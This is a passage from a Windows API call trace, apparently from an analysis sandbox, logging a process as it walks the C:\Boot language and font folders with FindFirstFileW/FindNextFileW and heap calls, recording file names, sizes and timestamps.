ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.063] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.064] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0074.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.064] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.065] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.065] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.065] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.065] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0074.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.066] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.067] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.067] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0074.068] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.068] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0074.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.068] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.070] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.070] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.071] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.071] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0074.071] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.071] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.072] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.072] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.072] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.073] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0074.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.073] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.170] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.170] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.171] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.171] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0074.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.171] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.171] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.171] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.171] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.172] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0074.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.172] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.172] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.172] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.172] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.173] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0074.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.173] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.173] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.173] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.173] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.174] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0074.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.174] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.174] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.174] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.174] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.174] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0074.175] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.175] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.175] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.175] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.175] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.175] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0074.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.176] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, 